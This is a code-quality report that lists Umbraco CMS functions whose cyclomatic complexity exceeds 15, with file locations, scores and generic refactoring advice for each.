PropertyFactory.BuildDtos (cyclomatic 28) src/Umbraco.Infrastructure/Persistence/Factories/PropertyFactory.cs:80— PropertyFactory.BuildDtos has cyclomatic complexity 28 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
ContentTypeRepositoryBase.RenormalizeEditedFlags (cyclomatic 28) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepositoryBase.cs:1355— ContentTypeRepositoryBase.RenormalizeEditedFlags has cyclomatic complexity 28 (threshold 15). Of this number, 27 points are the body's own statements and 1 belongs to one function literal inside it that branches. To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
UmbTreeItemChildrenManager.#loadChildren (cyclomatic 28) src/Umbraco.Web.UI.Client/src/packages/core/tree/tree-item/tree-item-children.manager.ts:219— UmbTreeItemChildrenManager.#loadChildren has cyclomatic complexity 28 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
ObjectExtensions.ToDebugString (cyclomatic 26) src/Umbraco.Core/Extensions/ObjectExtensions.cs:526— ObjectExtensions.ToDebugString has cyclomatic complexity 26 (threshold 15). To reduce it, name the conditions: bind each compound test to a well-named local or a small predicate function, so the body reads as a sequence of named decisions rather than a chain of operators.
BlockPropertyValueCreatorBase.CreateBlockModelAsync (cyclomatic 26) src/Umbraco.Infrastructure/PropertyEditors/ValueConverters/BlockPropertyValueCreatorBase.cs:116— BlockPropertyValueCreatorBase.CreateBlockModelAsync has cyclomatic complexity 26 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
DefaultShortStringHelper.CopyTerm (cyclomatic 25) src/Umbraco.Core/Strings/DefaultShortStringHelper.cs:528— DefaultShortStringHelper.CopyTerm has cyclomatic complexity 25 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
load-manifest-api.function.loadManifestApi (cyclomatic 25) src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/load-manifest-api.function.ts:17— load-manifest-api.function.loadManifestApi has cyclomatic complexity 25 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
load-manifest-element.function.loadManifestElement (cyclomatic 25) src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/load-manifest-element.function.ts:16— load-manifest-element.function.loadManifestElement has cyclomatic complexity 25 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
create::ObjectExpression (cyclomatic 25) src/Umbraco.Web.UI.Client/devops/eslint/rules/enforce-manifest-alias.cjs:148— create::ObjectExpression has cyclomatic complexity 25 (threshold 15). To reduce it, separate the branches: extract each independent case into its own named function so the top-level body reads as a short sequence of named decisions.
Diff.Sms (cyclomatic 24) src/Umbraco.Core/Strings/Diff.cs:239— Diff.Sms has cyclomatic complexity 24 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
PackageDataInstallation.ImportDocumentTypes (cyclomatic 24) src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:916— PackageDataInstallation.ImportDocumentTypes has cyclomatic complexity 24 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
UserRepository.PerformGetReferencedDtos (cyclomatic 24) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/UserRepository.cs:464— UserRepository.PerformGetReferencedDtos has cyclomatic complexity 24 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
PublishedRouter.FindTemplateAsync (cyclomatic 23) src/Umbraco.Core/Routing/PublishedRouter.cs:714— PublishedRouter.FindTemplateAsync has cyclomatic complexity 23 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
ContentValidationServiceBase.HandlePropertiesValidationAsync (cyclomatic 23) src/Umbraco.Core/Services/ContentValidationServiceBase.cs:42— ContentValidationServiceBase.HandlePropertiesValidationAsync has cyclomatic complexity 23 (threshold 15). Of this number, 14 points are the body's own statements and 9 belong to 5 function literals inside it that branch. To reduce it, break up the iteration: give each loop body a named function, and split a multi-phase loop into one function per phase so no single body carries the whole pipeline.
ExpressionVisitorBase.HandleStringComparison (cyclomatic 23) src/Umbraco.Infrastructure/Persistence/Querying/ExpressionVisitorBase.cs:810— ExpressionVisitorBase.HandleStringComparison has cyclomatic complexity 23 (threshold 15). To reduce it, keep the dispatch but shrink the arms: move each non-trivial case body into its own named function (or onto the value being matched) so the dispatch reads one line per case, and group related cases into a sub-dispatch. Where every arm is uniform — the same kind of value, with no behaviour of its own — a table keyed by the case is the shorter form; wherever the arms carry different data or different behaviour, keep them as cases, because collapsing those trades an explicit, reviewable set of cases for nothing. This is NOT this file's highest cyclomatic complexity: ExpressionVisitorBase.Visit (cyclomatic 44) is higher and carries no row of its own — it was excluded as a flat dispatcher (a long switch/match over independent cases: many branches, almost no nesting), which this dimension does not treat as a refactor obligation. It is named here so the ranking you see in this file is not mistaken for the whole of it; the excluded method is counted neither in this dimension's figures nor in its score.
PublicAccessRequestHandler.RewriteForPublishedContentAccessAsync (cyclomatic 23) src/Umbraco.Web.Website/Routing/PublicAccessRequestHandler.cs:43— PublicAccessRequestHandler.RewriteForPublishedContentAccessAsync has cyclomatic complexity 23 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
UmbSorterController.moveItemInModel (cyclomatic 23) src/Umbraco.Web.UI.Client/src/packages/core/sorter/sorter.controller.ts:1271— UmbSorterController.moveItemInModel has cyclomatic complexity 23 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
LabelValueConverter.ConvertSourceToIntermediate (cyclomatic 22) src/Umbraco.Core/PropertyEditors/ValueConverters/LabelValueConverter.cs:50— LabelValueConverter.ConvertSourceToIntermediate has cyclomatic complexity 22 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
DocumentUrlService.GetDocumentKeyByRoute (cyclomatic 22) src/Umbraco.Core/Services/DocumentUrlService.cs:906— DocumentUrlService.GetDocumentKeyByRoute has cyclomatic complexity 22 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
PropertyFactory.BuildDto (cyclomatic 22) src/Umbraco.Infrastructure/Persistence/Factories/PropertyFactory.cs:208— PropertyFactory.BuildDto has cyclomatic complexity 22 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
MemberRepository.PersistUpdatedItem (cyclomatic 22) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberRepository.cs:1021— MemberRepository.PersistUpdatedItem has cyclomatic complexity 22 (threshold 15). To reduce it, split the body: these branches sit side by side rather than nested inside one another, so extracting each one on its own would leave a function per branch. Group the statements between the checks into named steps and move each step into its own function, so the body reads as a short sequence of named stages.
ContentIndexingNotificationHandler.Handle (cyclomatic 22) src/Umbraco.Infrastructure/Search/ContentIndexingNotificationHandler.cs:40— ContentIndexingNotificationHandler.Handle has cyclomatic complexity 22 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
EagerMatcherPolicy.ApplyAsync (cyclomatic 22) src/Umbraco.Web.Website/Routing/EagerMatcherPolicy.cs:76— EagerMatcherPolicy.ApplyAsync has cyclomatic complexity 22 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
UmbContentDetailWorkspaceContextBase.constructor (cyclomatic 22) src/Umbraco.Web.UI.Client/src/packages/content/content/workspace/content-detail-workspace-base.ts:206— UmbContentDetailWorkspaceContextBase.constructor has cyclomatic complexity 22 (threshold 15). Of this number, 12 points are the body's own statements and 10 belong to 5 function literals inside it that branch. To reduce it, name the conditions: bind each compound test to a well-named local or a small predicate function, so the body reads as a sequence of named decisions rather than a chain of operators.
UriUtility.ResolveUrl (cyclomatic 21) src/Umbraco.Core/Routing/UriUtility.cs:169— UriUtility.ResolveUrl has cyclomatic complexity 21 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
UserService.UpdateAsync (cyclomatic 21) src/Umbraco.Core/Services/UserService.cs:847— UserService.UpdateAsync has cyclomatic complexity 21 (threshold 15). To reduce it, split the body: these branches sit side by side rather than nested inside one another, so extracting each one on its own would leave a function per branch. Group the statements between the checks into named steps and move each step into its own function, so the body reads as a short sequence of named stages.
UmbracoServices.GetTypes (cyclomatic 21) src/Umbraco.Infrastructure/ModelsBuilder/UmbracoServices.cs:131— UmbracoServices.GetTypes has cyclomatic complexity 21 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
PackageDataInstallation.UpdateContentTypesProperties (cyclomatic 21) src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:1472— PackageDataInstallation.UpdateContentTypesProperties has cyclomatic complexity 21 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
UmbInputSliderElement.constructor (cyclomatic 21) src/Umbraco.Web.UI.Client/src/packages/core/components/input-slider/input-slider.element.ts:150— UmbInputSliderElement.constructor has cyclomatic complexity 21 (threshold 15). Most of this is not in the body itself: 1 of the 21 points is its own statement and the rest belongs to 5 function literals inside it that branch (lines 164, 183, 156, …). The decisions are inside those literals, which nothing outside this body can call, review or test on its own, so splitting the enclosing body is not the move available here. To reduce it, lift the literals' work into a named function or method at the enclosing scope and have each literal call it, then reduce whichever part then reads as the largest.
UmbSearchModalElement.#onKeydown (cyclomatic 21) src/Umbraco.Web.UI.Client/src/packages/core/search/search-modal/search-modal.element.ts:247— UmbSearchModalElement.#onKeydown has cyclomatic complexity 21 (threshold 15). Of this number, 18 points are the body's own statements and 3 belong to 3 function literals inside it that branch. To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
ObjectExtensions.ToXmlString (cyclomatic 20) src/Umbraco.Core/Extensions/ObjectExtensions.cs:56— ObjectExtensions.ToXmlString has cyclomatic complexity 20 (threshold 15). To reduce it, split the body: these branches sit side by side rather than nested inside one another, so extracting each one on its own would leave a function per branch. Group the statements between the checks into named steps and move each step into its own function, so the body reads as a short sequence of named stages.
ContentPublishingServiceBase.PublishAsync (cyclomatic 20) src/Umbraco.Core/Services/ContentPublishingServiceBase.cs:101— ContentPublishingServiceBase.PublishAsync has cyclomatic complexity 20 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top. This is NOT this file's highest cyclomatic complexity: ContentPublishingServiceBase.ToContentPublishingOperationStatus (cyclomatic 25) is higher and carries no row of its own — it was excluded as a flat dispatcher (a long switch/match over independent cases: many branches, almost no nesting), which this dimension does not treat as a refactor obligation. It is named here so the ranking you see in this file is not mistaken for the whole of it; the excluded method is counted neither in this dimension's figures nor in its score.
ContentValueSetBuilder.GetValueSetsEnumerable (cyclomatic 20) src/Umbraco.Infrastructure/Examine/ContentValueSetBuilder.cs:88— ContentValueSetBuilder.GetValueSetsEnumerable has cyclomatic complexity 20 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
ContentValueSetValidator.Validate (cyclomatic 20) src/Umbraco.Infrastructure/Examine/ContentValueSetValidator.cs:178— ContentValueSetValidator.Validate has cyclomatic complexity 20 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
TextBuilder.WriteContentType (cyclomatic 20) src/Umbraco.Infrastructure/ModelsBuilder/Building/TextBuilder.cs:207— TextBuilder.WriteContentType has cyclomatic complexity 20 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
UserRepository.PersistUpdatedItem (cyclomatic 20) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/UserRepository.cs:835— UserRepository.PersistUpdatedItem has cyclomatic complexity 20 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
BlockEditorValidatorBase.GetBlockEditorDataValidation (cyclomatic 20) src/Umbraco.Infrastructure/PropertyEditors/BlockEditorValidatorBase.cs:63— BlockEditorValidatorBase.GetBlockEditorDataValidation has cyclomatic complexity 20 (threshold 15). Of this number, 18 points are the body's own statements and 2 belong to 2 function literals inside it that branch. To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
BlockValuePropertyValueEditorBase.CollectChangedCultures (cyclomatic 20) src/Umbraco.Infrastructure/PropertyEditors/BlockValuePropertyValueEditorBase.cs:737— BlockValuePropertyValueEditorBase.CollectChangedCultures has cyclomatic complexity 20 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
UmbBlockEntryContext.constructor (cyclomatic 20) src/Umbraco.Web.UI.Client/src/packages/block/block/context/block-entry.context.ts:360— UmbBlockEntryContext.constructor has cyclomatic complexity 20 (threshold 15). Most of this is not in the body itself: 3 of the 20 points are its own statements and the rest belongs to 7 function literals inside it that branch (lines 470, 449, 381, …). The decisions are inside those literals, which nothing outside this body can call, review or test on its own, so splitting the enclosing body is not the move available here. To reduce it, lift the literals' work into a named function or method at the enclosing scope and have each literal call it, then reduce whichever part then reads as the largest.
TypeFinder.GetClassesWithAttribute (cyclomatic 19) src/Umbraco.Core/Composing/TypeFinder.cs:261— TypeFinder.GetClassesWithAttribute has cyclomatic complexity 19 (threshold 15). Of this number, 12 points are the body's own statements and 7 belong to one function literal inside it that branches. To reduce it, separate the branches: extract each independent case into its own named function, or replace a long branch ladder over a single value with a data-driven lookup or dispatch table.
TypeFinder.GetClassesWithBaseType (cyclomatic 19) src/Umbraco.Core/Composing/TypeFinder.cs:350— TypeFinder.GetClassesWithBaseType has cyclomatic complexity 19 (threshold 15). Of this number, 11 points are the body's own statements and 8 belong to one function literal inside it that branches. To reduce it, separate the branches: extract each independent case into its own named function, or replace a long branch ladder over a single value with a data-driven lookup or dispatch table.
NotificationService.CreateNotificationRequest (cyclomatic 19) src/Umbraco.Core/Services/NotificationService.cs:346— NotificationService.CreateNotificationRequest has cyclomatic complexity 19 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
PackageDataInstallation.TryCreateContentFromXml (cyclomatic 19) src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:516— PackageDataInstallation.TryCreateContentFromXml has cyclomatic complexity 19 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
ModelToSqlExpressionVisitor.VisitMemberAccess (cyclomatic 19) src/Umbraco.Infrastructure/Persistence/Querying/ModelToSqlExpressionVisitor.cs:30— ModelToSqlExpressionVisitor.VisitMemberAccess has cyclomatic complexity 19 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
EntityRepository.GetBase (cyclomatic 19) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/EntityRepository.cs:990— EntityRepository.GetBase has cyclomatic complexity 19 (threshold 15). Of this number, 18 points are the body's own statements and 1 belongs to one function literal inside it that branches. To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
PackagingService.GetAllInstalledPackagesAsync (cyclomatic 19) src/Umbraco.Infrastructure/Services/Implement/PackagingService.cs:269— PackagingService.GetAllInstalledPackagesAsync has cyclomatic complexity 19 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
LocalDb.CopyDatabaseFiles (cyclomatic 19) src/Umbraco.Cms.Persistence.SqlServer/LocalDb.cs:883— LocalDb.CopyDatabaseFiles has cyclomatic complexity 19 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
UmbPropertyEditorUIBlockListElement.constructor (cyclomatic 19) src/Umbraco.Web.UI.Client/src/packages/block/block-list/property-editors/block-list-editor/property-editor-ui-block-list.element.ts:182— UmbPropertyEditorUIBlockListElement.constructor has cyclomatic complexity 19 (threshold 15). Most of this is not in the body itself: 1 of the 19 points is its own statement and the rest belongs to 9 function literals inside it that branch (lines 193, 197, 241, …). The decisions are inside those literals, which nothing outside this body can call, review or test on its own, so splitting the enclosing body is not the move available here. To reduce it, lift the literals' work into a named function or method at the enclosing scope and have each literal call it, then reduce whichever part then reads as the largest.
UmbContentTypeDesignEditorElement.#createRoutes (cyclomatic 19) src/Umbraco.Web.UI.Client/src/packages/content/content-type/workspace/views/design/content-type-design-editor.element.ts:215— UmbContentTypeDesignEditorElement.#createRoutes has cyclomatic complexity 19 (threshold 15). Of this number, 15 points are the body's own statements and 4 belong to one function literal inside it that branches. To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
UmbTablePropertiesAction.#getStyles (cyclomatic 19) src/Umbraco.Web.UI.Client/src/packages/tiptap/extensions/table/actions/table-properties.action.ts:55— UmbTablePropertiesAction.#getStyles has cyclomatic complexity 19 (threshold 15). Of this number, 18 points are the body's own statements and 1 belongs to one function literal inside it that branches. To reduce it, separate the branches: extract each independent case into its own named function so the top-level body reads as a short sequence of named decisions.
ContentVariationExtensions.ValidateVariation (cyclomatic 18) src/Umbraco.Core/Extensions/ContentVariationExtensions.cs:317— ContentVariationExtensions.ValidateVariation has cyclomatic complexity 18 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
AliasUrlProvider.GetOtherUrls (cyclomatic 18) src/Umbraco.Core/Routing/AliasUrlProvider.cs:82— AliasUrlProvider.GetOtherUrls has cyclomatic complexity 18 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
TextBuilder.WriteProperty (cyclomatic 18) src/Umbraco.Infrastructure/ModelsBuilder/Building/TextBuilder.cs:420— TextBuilder.WriteProperty has cyclomatic complexity 18 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
ContentTypeRepositoryBase.PersistNewBaseContentType (cyclomatic 18) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepositoryBase.cs:202— ContentTypeRepositoryBase.PersistNewBaseContentType has cyclomatic complexity 18 (threshold 15). Of this number, 17 points are the body's own statements and 1 belongs to one function literal inside it that branches. To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
PublishableContentRepositoryBase.MapDtosToContent (cyclomatic 18) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishableContentRepositoryBase.cs:238— PublishableContentRepositoryBase.MapDtosToContent has cyclomatic complexity 18 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
PublishableContentRepositoryBase.PersistNewItem (cyclomatic 18) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishableContentRepositoryBase.cs:987— PublishableContentRepositoryBase.PersistNewItem has cyclomatic complexity 18 (threshold 15). To reduce it, split the body: these branches sit side by side rather than nested inside one another, so extracting each one on its own would leave a function per branch. Group the statements between the checks into named steps and move each step into its own function, so the body reads as a short sequence of named stages.
ImageCropperPropertyValueEditor.FromEditor (cyclomatic 18) src/Umbraco.Infrastructure/PropertyEditors/ImageCropperPropertyValueEditor.cs:131— ImageCropperPropertyValueEditor.FromEditor has cyclomatic complexity 18 (threshold 15). To reduce it, split the body: these branches sit side by side rather than nested inside one another, so extracting each one on its own would leave a function per branch. Group the statements between the checks into named steps and move each step into its own function, so the body reads as a short sequence of named stages.
JsonObjectConverter.ParseObject (cyclomatic 18) src/Umbraco.Infrastructure/Serialization/JsonObjectConverter.cs:40— JsonObjectConverter.ParseObject has cyclomatic complexity 18 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
BackOfficeExamineSearcher.Search (cyclomatic 18) src/Umbraco.Examine.Lucene/BackOfficeExamineSearcher.cs:52— BackOfficeExamineSearcher.Search has cyclomatic complexity 18 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
SqlAzureTransientErrorDetectionStrategy.IsTransient (cyclomatic 18) src/Umbraco.Cms.Persistence.SqlServer/FaultHandling/Strategies/SqlAzureTransientErrorDetectionStrategy.cs:20— SqlAzureTransientErrorDetectionStrategy.IsTransient has cyclomatic complexity 18 (threshold 15). To reduce it, keep the dispatch but shrink the arms: move each non-trivial case body into its own named function (or onto the value being matched) so the dispatch reads one line per case, and group related cases into a sub-dispatch. Where every arm is uniform — the same kind of value, with no behaviour of its own — a table keyed by the case is the shorter form; wherever the arms carry different data or different behaviour, keep them as cases, because collapsing those trades an explicit, reviewable set of cases for nothing.
ImageSharpImageUrlGenerator.GetImageUrl (cyclomatic 18) src/Umbraco.Cms.Imaging.ImageSharp/Media/ImageSharpImageUrlGenerator.cs:61— ImageSharpImageUrlGenerator.GetImageUrl has cyclomatic complexity 18 (threshold 15). To reduce it, split the body: these branches sit side by side rather than nested inside one another, so extracting each one on its own would leave a function per branch. Group the statements between the checks into named steps and move each step into its own function, so the body reads as a short sequence of named stages.
UmbAppErrorElement.#generateErrorFromSearchParams (cyclomatic 18) src/Umbraco.Web.UI.Client/src/apps/app/app-error.element.ts:48— UmbAppErrorElement.#generateErrorFromSearchParams has cyclomatic complexity 18 (threshold 15). To reduce it, keep the dispatch but shrink the arms: move each non-trivial case body into its own named function (or onto the value being matched) so the dispatch reads one line per case, and group related cases into a sub-dispatch. Where every arm is uniform — the same kind of value, with no behaviour of its own — a table keyed by the case is the shorter form; wherever the arms carry different data or different behaviour, keep them as cases, because collapsing those trades an explicit, reviewable set of cases for nothing.
UmbPropertyEditorUIBlockGridElement.constructor (cyclomatic 18) src/Umbraco.Web.UI.Client/src/packages/block/block-grid/property-editors/block-grid-editor/property-editor-ui-block-grid.element.ts:121— UmbPropertyEditorUIBlockGridElement.constructor has cyclomatic complexity 18 (threshold 15). Most of this is not in the body itself: 1 of the 18 points is its own statement and the rest belongs to 6 function literals inside it that branch (lines 198, 142, 146, …). The decisions are inside those literals, which nothing outside this body can call, review or test on its own, so splitting the enclosing body is not the move available here. To reduce it, lift the literals' work into a named function or method at the enclosing scope and have each literal call it, then reduce whichever part then reads as the largest.
RouterSlot.renderPath (cyclomatic 18) src/Umbraco.Web.UI.Client/src/packages/core/router/router-slot/router-slot.ts:352— RouterSlot.renderPath has cyclomatic complexity 18 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
sorter.controller.getParentScrollElement (cyclomatic 18) src/Umbraco.Web.UI.Client/src/packages/core/sorter/sorter.controller.ts:14— sorter.controller.getParentScrollElement has cyclomatic complexity 18 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
imaging-request-batcher.flush (cyclomatic 18) src/Umbraco.Web.UI.Client/src/packages/media/imaging/imaging-request-batcher.ts:36— imaging-request-batcher.flush has cyclomatic complexity 18 (threshold 15). To reduce it, break up the iteration: give each loop body a named function, and split a multi-phase loop into one function per phase so no single body carries the whole pipeline.
PublishableContentServiceBase.Publish (cyclomatic 17) src/Umbraco.Core/Services/PublishableContentServiceBase.cs:809— PublishableContentServiceBase.Publish has cyclomatic complexity 17 (threshold 15). To reduce it, split the body: these branches sit side by side rather than nested inside one another, so extracting each one on its own would leave a function per branch. Group the statements between the checks into named steps and move each step into its own function, so the body reads as a short sequence of named stages.
PublishableContentServiceBase.PerformScheduledPublishingRelease (cyclomatic 17) src/Umbraco.Core/Services/PublishableContentServiceBase.cs:1232— PublishableContentServiceBase.PerformScheduledPublishingRelease has cyclomatic complexity 17 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
DatabaseDataCreator.InitializeBaseData (cyclomatic 17) src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs:123— DatabaseDataCreator.InitializeBaseData has cyclomatic complexity 17 (threshold 15). To reduce it, split the body: these branches sit side by side rather than nested inside one another, so extracting each one on its own would leave a function per branch. Group the statements between the checks into named steps and move each step into its own function, so the body reads as a short sequence of named stages.
PackageDataInstallation.UpdateContentTypeFromXml (cyclomatic 17) src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:1233— PackageDataInstallation.UpdateContentTypeFromXml has cyclomatic complexity 17 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
CoreRuntime.StartAsync (cyclomatic 17) src/Umbraco.Infrastructure/Runtime/CoreRuntime.cs:105— CoreRuntime.StartAsync has cyclomatic complexity 17 (threshold 15). Of this number, 16 points are the body's own statements and 1 belongs to one function literal inside it that branches. To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
ContentTypeIndexingNotificationHandler.Handle (cyclomatic 17) src/Umbraco.Infrastructure/Search/ContentTypeIndexingNotificationHandler.cs:103— ContentTypeIndexingNotificationHandler.Handle has cyclomatic complexity 17 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
MemberIndexingNotificationHandler.Handle (cyclomatic 17) src/Umbraco.Infrastructure/Search/MemberIndexingNotificationHandler.cs:38— MemberIndexingNotificationHandler.Handle has cyclomatic complexity 17 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
MemberEditingService.ValidateMemberDataAsync (cyclomatic 17) src/Umbraco.Infrastructure/Services/MemberEditingService.cs:394— MemberEditingService.ValidateMemberDataAsync has cyclomatic complexity 17 (threshold 15). Of this number, 16 points are the body's own statements and 1 belongs to one function literal inside it that branches. To reduce it, split the body: these branches sit side by side rather than nested inside one another, so extracting each one on its own would leave a function per branch. Group the statements between the checks into named steps and move each step into its own function, so the body reads as a short sequence of named stages.
BasicAuthenticationMiddleware.InvokeAsync (cyclomatic 17) src/Umbraco.Web.Website/Middleware/BasicAuthenticationMiddleware.cs:67— BasicAuthenticationMiddleware.InvokeAsync has cyclomatic complexity 17 (threshold 15). To reduce it, name the conditions: bind each compound test to a well-named local or a small predicate function, so the body reads as a sequence of named decisions rather than a chain of operators.
ImageCropperTemplateCoreExtensions.GetCropUrl (cyclomatic 17) src/Umbraco.Web.Common/Extensions/ImageCropperTemplateCoreExtensions.cs:435— ImageCropperTemplateCoreExtensions.GetCropUrl has cyclomatic complexity 17 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
PatchPathResolver.Resolve (cyclomatic 17) src/Umbraco.Cms.Api.Management/Patching/PatchPathResolver.cs:17— PatchPathResolver.Resolve has cyclomatic complexity 17 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
create-extension-element-with-api.function.createExtensionElementWithApi (cyclomatic 17) src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/create-extension-element-with-api.function.ts:19— create-extension-element-with-api.function.createExtensionElementWithApi has cyclomatic complexity 17 (threshold 15). To reduce it, split the body: these branches sit side by side rather than nested inside one another, so extracting each one on its own would leave a function per branch. Group the statements between the checks into named steps and move each step into its own function, so the body reads as a short sequence of named stages.
load-manifest-plain-css.function.loadManifestPlainCss (cyclomatic 17) src/Umbraco.Web.UI.Client/src/libs/extension-api/functions/load-manifest-plain-css.function.ts:9— load-manifest-plain-css.function.loadManifestPlainCss has cyclomatic complexity 17 (threshold 15). To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
UmbBlockGridEntryContext.#gotEntriesAndManager (cyclomatic 17) src/Umbraco.Web.UI.Client/src/packages/block/block-grid/components/block-grid-entry/block-grid-entry.context.ts:220— UmbBlockGridEntryContext.#gotEntriesAndManager has cyclomatic complexity 17 (threshold 15). Most of this is not in the body itself: 3 of the 17 points are its own statements and the rest belongs to 4 function literals inside it that branch (lines 226, 245, 267, …). The decisions are inside those literals, which nothing outside this body can call, review or test on its own, so splitting the enclosing body is not the move available here. To reduce it, lift the literals' work into a named function or method at the enclosing scope and have each literal call it, then reduce whichever part then reads as the largest.
UmbContentDetailWorkspaceTypeTransformController.#transformValuesForVariationChanges (cyclomatic 17) src/Umbraco.Web.UI.Client/src/packages/content/content/workspace/content-detail-workspace-type-transform.controller.ts:182— UmbContentDetailWorkspaceTypeTransformController.#transformValuesForVariationChanges has cyclomatic complexity 17 (threshold 15). Of this number, 15 points are the body's own statements and 2 belong to 2 function literals inside it that branch. To reduce it, separate the cases: extract each independent branch into its own named function, and where the body has guards that only reject input, fold those into early returns at the top.
